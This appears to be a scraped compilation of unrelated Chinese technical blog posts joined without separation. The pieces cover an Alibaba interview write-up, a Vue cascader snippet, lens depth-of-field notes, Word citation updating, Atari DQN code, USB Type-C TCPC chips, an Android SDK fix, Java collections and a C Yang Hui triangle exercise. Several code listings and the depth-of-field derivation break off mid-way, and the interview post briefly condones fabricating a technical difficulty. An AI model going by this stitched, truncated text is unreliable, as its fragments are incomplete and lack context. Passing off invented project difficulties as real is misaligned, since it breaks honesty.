一、背景 标题很嚣张,但事实确实就是如此。这次面试流程足足横跨三个部门,其中既有侧重业务的部门,也有侧重技术的部门。在省略三次面试的前提下,实际面试轮次有七次。 整个过程的心理压力还是比较大的,毕竟每多一次面试轮次,就多一份落选的可能。尤其转战三个部门还都是由于公司方面的原因。。。 面试范围广。由于涉及多个部门、多个面试官,所以面试内容涉及方方面面。技术、管理、业务、个人规划等等均有所涉及。其中技术也涉及基础、中间件、架构,以及应用等。 这里非常感谢我的原二级主管,在我面试过程中提供的帮助。他多次帮我梳理业务、梳理思考逻辑等。 原计划是一篇文章写完,内容上只是对面试问题的记录,以及少量的思考。但在写作过程中,还是忍不住写详细了,并给出了许多对面试的总结。所以最终决定以多篇文章,进行阐述。 原文地址:最全的阿里面试经验(一) 二、A部门 应聘方式:原二级主管,内推。 应聘岗位:技术专家-Java-零售Saas 原本不想放出来岗位的。但是看到有人比较质疑前一篇文章的真实性,这个岗位最终也没去,所以就放出来了。岗位放出时间,与我之前二方的离职时间,是一致的。 1.P7面 按道理来说,应该会有一轮P7面试,进行技术基础的沟通。但是这边公司直接从流程上给我跳过了。猜测是因为之前在团队的技术表现得到了二级主管的认可,所以就给我省略了这一轮次面试。 然而在后续其他部门的面试中,还是没逃过Java基础面试。囧 2.P8面 a.简介 面试时长:两个小时左右 面试形式:线下(因为原二级主管表示,我线下表现力强很多,结果也证明确实如此) 面试地点:阿里西溪园区B区 面试核心:55%业务(新零售)、35%技术、10%人生 b.面试内容 1.介绍一下门店数字化作业项目(简历项目) 面试准备中,一定要有一个核心项目,可以用于展现自身价值的实际例子,而且一定要足够硬。大厂P6及以上,一般都是需要的。 简单来说,就是说清楚项目背景、项目价值、然后再到自身贡献,以及最后的效果&复盘。可以参考STAR法则。 项目背景,要说清楚这个项目从何而来。比如作业这个概念是零售行业一直存在的。而之所以数字化,是因为盒马支撑线上业务,所以数字化是必要的。而数字化作业系统,可以完成信息流转、提高效率等等。这其中比较擅长的点,就多说两句。甚至可以引导面试官去询问。项目价值,要从商业价值,到业务价值,最后到实现的价值指标。比如价值流中,如何拉新、增加用户粘性。再到如何提高业务流转效率,最后到开发成本节省等。但凡项目,必然是有价值的,否则过不了商业论证的。自身贡献,一定要体现自己在项目中的价值。即使项目再大,自己没有参与其中也是白搭。比如负责整个项目的项目管理、整个系统的技术方案设计、核心模块的编写等。这个过程,可以先强调工作的难点,让面试官切实认同难点,再提出解决方案。这样比较容易获得面试官对自身价值的认可。比如,你和面试官说,这个系统要求10W的TPS。面试官立马就有兴趣了。如果,你能提供一个切实可行的解决方案。那么面试官对你价值,就十分认同了。效果&复盘,效果要体现项目完成度,而复盘则体现了自我反思提升的能力。很多人对大厂说的潜力,不太明白。而自我反思提升的能力,就是潜力的一种表现。比如我实现了一个10WTPS的系统,根据最后的落地效果。你认为哪里还有提升的空间,比如优化某处的技术选型,可以降低成本等。又比如,如何设计架构,可以有效支撑业务后续的快速发展。 PS:面试中的项目不是最重要的,最重要的是通过项目,展现自身的价值。所以项目不是越大越好,而是越能体现自身价值越好。不要混淆目的和目标。 面试过程中,面试官会通过一些问题,确认项目是否是真实的。 2.系统的整体架构 面试项目,一定要会画它的架构图。现场想,容易犯错,即便你很熟悉它。 这个部分就是上述自身贡献的进一步深挖了。简单来说,就是面试官想了解你设计能力。大厂社招,基本都是p6起步。套用大佬的话,编码是基本要求。囧 那么从技术上拉开差距的第一块儿,就是设计能力。 这里说一些个人的粗浅认识,后续有机会,会展开的。 编码 -> 核心编码 -> 模块设计 -> 应用设计 -> 系统设计(多应用复杂系统) 模块设计 -> 应用设计 -> 系统设计,其实都是方案设计,只是处理的复杂度是不同的。软件工程的架构设计,本质上是为了处理,软件工程日益增高的复杂度。从这个角度,架构设计可以分为时空两个维度。空间上则类似于架构组成派,比如架构图。而时间上则类似于架构演变的规划。架构的时空维度是果,而架构决策派则是因。 这块儿还是比较容易拉开水平差距的。最直接就是项目的复杂程度嘛。不过这个是我们自身难以决定的。所以我从个人解决问题的角度来谈谈。 最基本要说清楚多个关键点的决策理由,如这块儿的设计重难点是什么、为什么采用策略模式、怎么实现策略模式等。进一步要对整个方案的设计思路,有全局思考的整体观念。比如秒杀系统的难点就是读写峰值高,还要保证用户体验。那么解决的要点是缓存、一致性等等。识别问题核心->解决思路->具体方案。再进一步就是自身的方案要有方法论支撑。要从方法论中找到实际问题解决,再从实际问题回归到方法论中。比如大到利用DDD解决业务领域划分、识别核心领域模型等,小到二八原则落地到缓存方案中。再往后,要么向上,考虑到业务,甚至商业模式等。比如支撑业务的快速扩张,以及商业模式的快速转变等。要么向下,精细化每块的设计方案,比如精准估算应用水位等。 准备面试的小伙伴,可以就上面的四条清单,提前准备啦。 3.主要的业务场景 面试项目中,需要清楚项目最终产品侧表达,进而了解业务场景 这里面试官一方面想要获取对你项目的感性认知,进而发现兴趣点(这个小伙子这个点,和我们团队xxx相近,可以深入探讨一下)。另一方面,也是看看你对业务的认识。毕竟产研的开发,都需要对业务有足够的认识,并且有足够的敏感度。 这个部分的回答,主要分为三块儿: 如何精炼地描述业务场景。建议可以参照5W1H分析法。这样有利于在准备阶段就理清业务场景。实际面试往往由于临场发挥等问题,表现还会缩水一些。比如门店效期管理平台是面向运营同学,用于管理商品效期限balabala。明确“主要”的由来。能够说清楚真正主要的业务场景。并指导为什么它是主要业务场景。比如是归属业务价值流的生产链路。比如是直接关联资金的业务等。串联各个业务场景。能够将业务场景串联起来,使之不再是一个个孤立的点。这需要小伙伴对关联业务有足够高的认识,有的还需要小伙伴了解公司相关战役的始末。 这部分,作为面试项目的业务部分,需要提前准备。如果有大佬帮忙梳理,就超赞了。比如之前的二级主管花费了不少时间帮我整理业务,真的是十分感激。 4.技术重构 在面试过程中,适当展现自己的主观能动性,是有必要的。 在大厂中,大部分主管还是比较喜欢有自我驱动力的同学的,更不会拒绝那些积极主动,热衷思考并实践的同学。但是,如何展现出这一点呢?尤其一些小伙伴平时就有这样的习惯,但是却不知道如何展现。 我之前的工作中,每一个项目,我都会有文档。文档中包含项目管理、技术方案、总结、关联内容等部分。并且,作为PM,我也有足够的推动力。 当然,这都比不上,自主的技术重构来得直接。毕竟,实现技术重构,需要包括思考、总结、自我驱动、业务等多方面内容。而且,技术重构也很容易展现自身技术深度,思考深度。 由于在之前的工作中,我有主动推动过作业系统重构,并规划了决策系统的重构。所以,我就向面试官阐述了痛点、日常思考、解决方案、团队沟通、最终落地,以及最终的反思。 有关技术重构部分,我后面应该会有专门的文档进行说明。 这里只说一点,一定要有明确的重构原因(提高开发效率,降低开发成本等),切不可为了重构而重构。 5.技术上的难点,以及解决方案 即使是偏向业务的开发岗位,也需要一些技术上的硬菜。 如果你的面试项目体现不出技术高段位水准,或者面试官没有从你的表述中听出来项目的高技术书准的体现。那么面试官大概率会有两类问题: 自主系统设计:简单点的,将面试项目中的某个需求改一改,比如并发量从100,到100W。难一点的,直接让你从零考虑某个场景。比如让你设计一个秒杀系统,或者设计一个火车订票系统。自问自答:面试官让被面试者谈谈项目中遇到的难题,以及解决方案。 前者,需要大家了解架构设计,并对架构设计中的最佳实践(如秒杀系统、会员系统、搜索系统等)比较熟悉。 后者,则需要大家的面试项目中确实有存在技术难点,并有过思考与解决。就算是虚构,也需要有能够进行技术嫁接的地方。囧

vue之级联选择器选中拿到当前全部数据(elementU)

业务需求:应后台要求接收的数据是多个,在级联选择器中只能拿到指定的值,固解决如何拿到多个值传入后台。 代码结构: <el-form-item label="分类"> <el-cascader v-model="formInline.classification" :options="classificationOpt" :props="{ label: 'cloumName', value: 'id', checkStrictly: true, }" clearable ref="cascaderAddr" @change="classChange" > </el-cascader> </el-form-item> data () { return { classification:[],//接收的数组 formInline: { classification: {}, // 分类显示 classifyValue: '' // 分类接收数据 } } }, // 获取分类选中数据 classChange () { if ( this.$refs.cascaderAddr.getCheckedNodes() && this.$refs.cascaderAddr.getCheckedNodes()[0] ) { const nodeContent = this.$refs.cascaderAddr.getCheckedNodes()[0].data console.log(nodeContent )//这个位置可以打印一下 this.formInline.classifyValue = nodeContent } else { this.formInline.classifyValue = null } }, 此时的你就可以拿到你选中的全部,然后在接口传值的时候将你于后台规定的字段填写正确即可,当添加了清除 clearable 时会在控制台报错,所以在change事件里进行判断。 //传入接口数据结构 chooseAttrDTO: { cloumName: this.

镜头景深相关知识

镜头景深 景深概念景深计算景深公式是如何推导出来的推导过程景深公式的近似及简化 景深概念 为了方便谈论景深,我们在这里把成像过程视为理想成像,即点物成点像。在理想光学系统中,物空间的一个平面,在像空间有且只有一个平面与之共轭,该物平面(对焦平面)上的点在与之共轭的像平面(感光平面)上成点像,在其他像空间的平面上的像只能是一个有一定直径的圆斑,光学上称为弥散斑。 我们知道任何的光能接收器都是不完善的,无论是人眼,感光胶片,CCD,CMOS都是具有一定的分辨率,只要弥散斑的直径足够小时,接收器就会误认为其是一个点。所以,可以说该点(实际是直径足够小的弥散斑)所在的平面也参与了清晰成像。 景深的定义就是在感光平面上获得成清晰像的物空间深度。记作:DOF(Depth Of Field)。 下图所示,对焦平面上的点在感光平面上的像是一个点,而平面1和平面2上的点在感光平面上的像是直径可接受的弥散斑,该光学系统的景深就是平面1到平面2之间的距离。 经过公式推导(此处省略,有兴趣者可探讨)我们给出景深的计算公式: 景深=2 x 有效Fno x 弥散斑直径 ÷倍率² 通过公式我们可以看出,光学系统的景深受有效Fno、弥散斑直径、倍率这三个参数的影响。我们反复讲越大的倍率景深会越小;光圈开的越大,说明有效Fno越小,此时景深越小,这两点对于大家好像比较容易理解。唯独对弥散斑直径的争议不断。 上面我们说,任何光能接收器都是不完善的,存在一个分辨率,当弥散斑的直径足够小时,认为该弥散斑是一点。也就是可接受的清晰成像。在实际工业机器视觉应用中,我们通常不会用人眼去判断图像是否清晰,不会通过弥散斑小到被误认为是点而去判断图像的清晰度。而是通过去数究竟有几个过度像素来判断图像是否可接受。如下图,(A)中从黑到白仅1个过度像素,(B)中从黑到白有3个过度像素。假设在实际项目中,可接受的过度像素是3个,那么此3个过度像素的长度就作为弥散斑的半径,此时计算该应用中的景深所用的弥散斑直径就是2 x 3 x像元尺寸。 景深计算 而有效Fno. 与Fno. 换算关系如下: 通常,镜头厂家会用如下方式来表示对应镜头种类的通光量: (1) 远心镜头:直接给出有效Fno., 如: (2) 微距镜头:给出Fno. ,如: (3) CCTV镜头:给出Fno.,如 以ML-MC50HR微距镜头为例,当此镜头用在0.5倍时,有效Fno.≈Fno.(1+0.5) = 1.5 Fno. ,如果用错了,则景深会相差1.5倍。 又如 ML-M1616UR CCTV镜头,在不加接圈时,其最大倍率也仅为0.095倍。则有效Fno.≈1.095*Fno. 。一般而言,CCTV镜头计算景深时,可用Fno.代替有效Fno. 因此,从上述描述可以看出,对于微距和CCTV这类给出Fno.值的镜头,若用在倍率较大时(一般大于0.1倍),需将Fno.换算成有效Fno.后,再代入景深公式计算。 景深公式是如何推导出来的 之前的文章或视频里,我们经常会提到景深这个参数,包括景深公式(景深=2有效Fno可接受弥散圆直径/放大倍率²),相信经常关注我们官方号的小伙伴一定不会陌生。但是,还是会有小伙伴问:为什么你们这个公式和网上,或是教科书中的景深公式相比,有比较大的差异,到底孰对孰错…… 注释: F:焦距 D:有效光圈孔径(入瞳孔径) A:光圈值,A=F/D σ:可接受弥散圆直径 u:物距 v:像距 h:后主面、出瞳间距 n:出入瞳孔径比,n=D’/D 推导过程 景深公式的近似及简化

如何更新word文档中的文献引用编号?

最近用word写毕业论文,遇到一个小问题,就是使用 “交叉引用” 引用参考文献的时候,文档中插入的编号不能随参考文献的实际编号变化而变化。简单的搜索后,找到了一个方法,在此记录一下,以备后用。怎样在Word中自动生成论文的参考文献引用? - 知乎这篇文章将告诉你,如何在Word文档中自动引用和更新参考文献的编号项。 一、问题提出你是否有这样的烦恼: (1)几十条,甚至上百条的论文参考文献顺序变动了,需要手动输入和更新论文中每条引用的编号? (2)硬…https://zhuanlan.zhihu.com/p/86899123目录 1、引用文献 2、编号同步 默认参考文献已经添加 1、引用文献 点击最上面菜单栏中的 “插入” 中的 “交叉引用”后选取需要引用的文献,点击下发 “插入”按钮。 插入文献后,可能需要修改该本文为上标格式,则选中文本后点击 “开始” 上标功能(其左边是下标)。效果如下图所示。 2、编号同步 引用的参考文献多了之后,在中间插入新的文献,论文的实际引用编号会发生变化,但文本那边不会变化。 此时只需要 “选中文本” 的编号,“右击”点击“更新域”即可。 批量的更新域,可以选中更新范围后,按“F9”即可。 案例 一、正常引用 二、插入新的文献后,文本处编号错乱 三、对文本[2]进行更新域后,编号同步 

【强化学习】实现Atari游戏的自动化学习(仅供参考)

问题描述: 参考书的第八章《Atari Games with Deep Q Network》因为版本变更太多,所以本人直接更改源代码,从而实现程序的运行,但是因本人能力有限,本章代码只能单纯实现代码的运行 代码展示: '''Building an agent to play Atari games''' from cv2 import merge from matplotlib import units import numpy as np import gym import tensorflow as tf from tensorflow.keras.layers import LSTM from collections import deque,Counter from tensorflow import keras #定义preprocess_observation的函数, # 用于预处理输入游戏屏幕,缩小图像的大小,图像转换成灰度。 coior = np.array([210,164,74]).mean() def preprocess_observation(obs): # Crop and resize the image img = obs[1:176:2, ::2] # Convert the image to greyscale img = img.

Type-C笔记本电脑全功能TCPC接口方案

随着科技的进步,笔记本电脑的发展越来越快,相对之前总担心散热和价格问题,人们可能更倾向于选择台式电脑,笔者之前在电脑城自行组装一台电脑,大概四五千就可以达到相当不错的配置,但是便携性跟笔记本电脑没法比,如今笔记本电脑的市场竞争激烈,价格也低了不少,对消费者非常有利,四五千的笔记本电脑配置也是不错的了。 如今笔记本电脑基本是往两个方向发展,一是游戏笔记本,主打高端配置,比较笨重,二是轻薄本,主打便携性,比较轻盈。 接下来我主要针对轻薄笔记本的接口展开论述,轻薄本因为考虑到便携性,采用相当薄的机身,因此去掉了传统的RJ45网线接口,原来占位置的网线接口融入到了Type-C接口里,让整体机身可以做到相当薄的厚度。 全功能的Type-C接口,不仅可以实现快充,还可以连拓展坞,转接网卡,投屏等等功能,Type-C接口不用占太多位置,而且功能强大,对于轻薄本来说真是如虎添翼。 那么Type-C接口如何实现诸多功能呢?我们了解到需要一颗TCPC芯片。TCPC全称是USB Type-C Port Controller,即USB Type-C 端口控制器。TCPC是一个功能控制模块,包括VBUS和VCONN电源控制、USB Type-C CC逻辑以及USB PD通信 BMC物理层和部分协议层等。 由于USB-C端口、USB PD等快充协议是近几年才推出的,所以在之前推出的SOC或MCU必然没有集成USB PD、QC等协议,也不支持USB Type-C的逻辑识别功能,也就无法实现USB Type-C端口快充和高清音视频传输的功能,因为快充和高清音视频传输的实现都需要依靠USB Type-C的识别和相关协议的沟通。 那么这些SOC或MCU将面临市场的淘汰和资源的浪费。而且研发新的集成USB PD、QC等的SOC或MCU,开发周期长,成本高,足以让不少芯片原厂止步,而且有的设备需要多个USB -C口(比如苹果公司推出的Macbook Pro笔记本就有4个USB-C口),更是加大了研发难度。那么有没有简单的方法解决以上的困境?答案是有,就是采用TCPC芯片。 可以看到TCPC重点在“控制”,是USB Type-C控制器,负责控制底层通信的实施,包括出错重发机制。TCPM重点在“管理”,是USB Type-C管理器,负责管理一个或多个USB Type-C端口的上层策略。TCPM和TCPC之间的连接的接口叫做TCPCI,是两者之间的桥梁,可采用I2C(或SMbus)方式进行沟通。 CC逻辑层:CC握手,识别设备 物理层:编码和解码信息,控制失败重发,添加校验码和根据检验码判断通信是否正确 协议层:生成USB PD通信协议 策略层:决定通信过程中的策略 设备策略管理层: 决定整个通信的策略 嵌入式控制器(EC)管理电池充电器控制器(BCC),相当于的管家,对电池报警、电源插入、温度传感器报告和笔记本盖子的状态等级进行管理。可用于通信出需要的功率,然后启动SOC。 PMU(电源管理单元)控制电池的充电和放电。EC,PMU或SOC都可以作为USB Type-C端口管理器(USB Type-C Port Manager,TCPM),通过I2C/SMbus的方式与LDR6280(USB Type-C Port Controller,TCPC)通信,实现功率的配置,以及通过VDM信息的协商等,控制USB芯片组 、DisplayPort芯片组分别输出USB信号和DisplayPort信号。 以笔记本为例,LDR6280设置为DRP扫描,通过I2C中断引脚输出低电平来通知TCPM,底层状态发生了改变。TCPM读取TCPCI中规定的ALERT寄存器来获取当前的状态信息。快充的实现参照前面的多USB Type-C端口的移动电源的介绍,这里介绍高清音视频部分。 功率配置完成后,主机的嵌入式控制器(TCPM)控制LDR6280进行VDM信息的协商,包括DP Alt Mode的配置等,LDR6280如果收到Attention信息,报告给TCPM。TCPM通知DisplayPort芯片组进行AUX通路的通信,读取显示设备的EDID信息,确认支持后,输出DisplayPort高清视频信号给显示设备。其中DisplayPort信号中还包含音频信号。TCPM还通知USB芯片组输出USB数据。 

Installed Build Tools revision 31.0.0 is corrupted. Remove and install again using the SDK Manager.

Android Studio中出现:Installed Build Tools revision 31.0.0 is corrupted. Remove and install again using the SDK Manager. 意为:已安装的生成工具版本31.0.0已损坏。使用SDK管理器删除并重新安装。 31.0.0版本出现了问题。我们打开SDK Manager,查看SDK Tools,可以看到已安装的和未安装的版本,如下图 接下来我们到Project Structure中找到Module,将Build Tools Version改为其他已安装的版本就OK了。如下图

集合之单值集合

单值集合 CollectionListArrayListVectorLinkedList SetHashSetTreeSet Collection Collection接口是Java类集中保存单值的最大父接口。 接口定义如下: public interface Collection<E> extends Iterable<E> 常用方法如下: 方法名称描述public boolean add(E e)向集合中插入一个元素public boolean addAll(Collection<? extends E> c)向集合中插入一组元素public boolean contains(Object o)查找一个元素是否存在public boolean containsAll(Collection<?> c)查找一组元素是否存在public boolean isEmpty()判断集合是否为空public Iterator iterator()为Iterator接口实例化public boolean remove()从集合中删除一个对象public boolean removeAll(Collection<?> c)从集合中删除一组对象public boolean retainAll(Collection<?> c)判断是否没有指定的集合public int size()求出集合中元素的个数public Object[] toArray()以对象数组的形式返回集合中的全部内容public T[] toArray(T[] a)指定操作的泛型类型,并把内容返回public boolean equals(Object o)从Object类中覆写而来public int hashCode()从Object类中覆写而来 List List是Collection的子接口,元素允许重复,存储的数据是有顺序的 List子接口定义: public interface List<E> extends Collection<E> 常用方法如下: 方法名称描述public void add(int index,E element)指定位置处添加public boolean addAll(int index,Collection<? extends E> c)在指定位置处添加一组元素public E get(int index)根据索引位置取出一个元素public int indexOf(Object o)根据对象查找指定的位置,找不到返回-1public int lastIndexOf(Object o)从后面向前查找位置,找不到返回-1public ListIterator listIterator()返回ListIterator接口的实例public ListIterator listIterator(int index,E element)返回从指定位置的ListIterator接口的实例public E remove(int index)删除指定位置的内容public E set(int index,E element)修改指定位置的内容public List subList(int fromIndex,int toIndex)返回子集合 ArrayList 基于动态数组实现,初始化时默认构造方法会创建一个空数组

C语言每日一练——第105天:杨辉三角形

🌟 前言 Wassup guys,我是Edison😎 今天是C语言每日一练,第105天! Let’s get it! 文章目录 1. 题目描述2. 解题思路3. 动图演示4. 代码实现🍑 Step1🍑 Step2🍑 居中显示 5. 完整代码6. 特性总结 1. 题目描述 杨辉三角形 解题之前,我们先来了解一下杨辉三角形到底是什么? 杨辉三角形,又称帕斯卡三角形、贾宪三角形、海亚姆三角形,它的排列形如三角形。 因为首现于南宋杨辉的《详解九章算法》得名,而书中杨辉说明是引自贾宪的《释锁算书》,故又名贾宪三角形。 古代波斯数学家欧玛尔·海亚姆也描述过这个三角形。在欧洲,因为法国数学家布莱兹‧帕斯卡在1653年的《论算术三角》中首次完整论述了这个三角形,故也被称作帕斯卡三角(Pascal’s triangle)。 杨辉三角的前10行写出来如下👇 2. 解题思路 其实规律很简单,我们来看一看 在最上面一行的中央写下数字 1; 第二行,写下两个1,和上一行形成三角形; 随后的每一行,开头和最后的数字都是1,其他的每个数都是它左上方和右上方的数之和,就是说除每行最左侧与最右侧的数字以外,每个数字等于它的左上方与右上方两个数字之和。 3. 动图演示 4. 代码实现 我们通过动图可以得出以下结论👇 1、两边都是数字1; 2、从第三行开始,除了两边的数字1之外的数字都是由 “肩膀上” 的数字相加得到的。 对于算法不太熟悉的朋友,如果直接去打印,可能就比较困难,所以我们不妨拆开几步来做。 🍑 Step1 1、定义一个9行9列的二维整型数组; 2、数组所有元素都赋值为1; 3、输出数组所有元素 #include <stdio.h> int main() { //定义一个9行9列的二维整型数组 int data[9][9]; int i = 0; int j = 0; for (i = 0; i < 9; i++) { for (j = 0; j < 9; j++) { //数组所有元素都赋值为1 data[i][j] = 1; } } //输出数组所有元素 for (i = 0; i < 9; i++) { for (j = 0; j < 9; j++) { printf("